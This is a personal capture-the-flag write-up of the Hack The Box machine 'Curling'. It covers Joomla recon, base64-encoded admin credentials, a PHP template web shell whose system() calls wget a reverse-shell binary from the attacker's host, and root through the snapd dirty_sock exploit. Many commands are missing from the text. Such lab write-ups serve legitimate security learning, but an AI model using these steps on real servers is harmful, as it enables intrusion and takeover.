Curling With Hack The Box

With recent winter storms, seeing a machine titled after an ice sport peaked my interest, so I used it as an opener for my first write-up. Curling is a game where granite stones are slid across ice for score accumulation, and curlers try to find ideal paths, which is partly why the game has been given the moniker chess on ice.

I started off by making a folder and added my scan results for organization and analysis later:

Nmap tells us is used and is open, which is a nice sign because content management systems are well-known for having issues, coupled with possibly being used to our advantage. I also usually check websites to view page source and dig for clues, and after looking up documentation on Joomla! found that is the default login panel for this particular CMS. If you look at the main page, you'll notice the "..first curling in 2018!" post was written by a user named Floris, which may be a clue.

Most of the page source looks normal until you scroll further down to the Footer section and see a statement that doesn't really seem to fit.

<!-- Footer -->
<footer class="footer" role="contentinfo">
<div class="container">
<hr />

<p class="pull-right">
<a href="#top" id="back-top">
Back to Top </a>
&copy; 2019 Cewl Curling site! </p>
<!-- secret.txt -->

Going to yields us with , which is a strangely encoded statement we can decode in base64 (I used Burp's decoder for this because I had it open, but there are a ton of tools available). This gave us the phrase , which combined with the username Floris, ends up being our login information for the panel.

I have never used Joomla!, so I had to navigate this for a bit (which included pinching the SQL DB information), but by going to Extensions > Templates > Protostar Details and Files, we find the default template being used for the main page and can start playing with the file to see if inserting a test script will get us anywhere. At the top of index page, we start by using the following snippet:

if( $_REQUEST['moo'] ){

is a global variable that can be used to collect data, so basically what we are asking here is: If we go to can you tell us which should return some output at the top of the page (in this case ).

To test this out, we’ll set up a reverse shell that is an x64 bin file and listener:

, then the file so you can use to connect to this locally and finally set up a listener with .

Next, we’ll go ahead and create a directory in the folder and use Python's SimpleHTTPServer module, which helps provide request handlers:

Once everything is setup, go to for testing and if all goes well, we can change out the script, for something a little more appropriate and grab what is known as a horrible shell and user account because it doesn't have a PTY:

if($_REQUEST['moo']) {
system('/usr/bin/wget http://yourIP:yourPort/rev_shell -O /dev/shm/rev_shell');
system('chmod 777 /dev/shm/rev_shell');

One of my mistakes was not paying attention to the listener and SimpleHTTP ports, so be sure to organize that sort of thing. Next, you can grab a PTY shell and pseudo terminal with the following command: . is a limited account because Apache doesn't run a lot of processes as root because of least privilege. When checking with we see a password_backup and user.txt file lurking around:

Looking at file permissions, everyone has read on password_backup, but only floris can read user.txt, which is the file we need for the flag, so we’ll send it over with .

You can use to send the file over, but since this didn't seem to work for whatever reason, I used and copied the information into a text file I named .

To undo the .b64: . We can then cat the file to see a hexdump created by a program called .

can take any file and make a hexdump as noted above, but it can also reverse files back into binaries if needed ().

From here you can use to see the file type used and should get a bunzip, so to spit out a file first. Running again, you'll notice it is now a gunzip and after this, a tar file. Basically, keep repeating these steps for the compression type involved and you will eventually open up , which gives us the password for floris's account. Now we can to and grab the first flag.

Once logged in, if you check the file systems that are mounted, you will notice a strange squashfs one by snapd. Snap packaging rolls application dependencies into a single binary, which are handled by systemd through this snap service. It also happens to run as root, while the REST API used to attach sockets and UID queries are affected by an overwrite in a for-loop. For a more detailed version of this vulnerability, check out Chris Moberly’s post about it here.

Running a search with , finds the exploit, which has two versions. We are looking for version2, which sideloads a snap with a hook to create a new user. At this point, you can prop open a text editor, paste the exploit in, save the file, chmod it, and then run it from within the shell.

This creates a username and password account with administrative privileges, so once that account is created, into , run to change the password, log in as root through , go to root's home directory, and finally to grab the last flag for this box.

🐱‍👓 😊

Breaker of things. Too grey for smiles, too blue for tears, too red for redemption.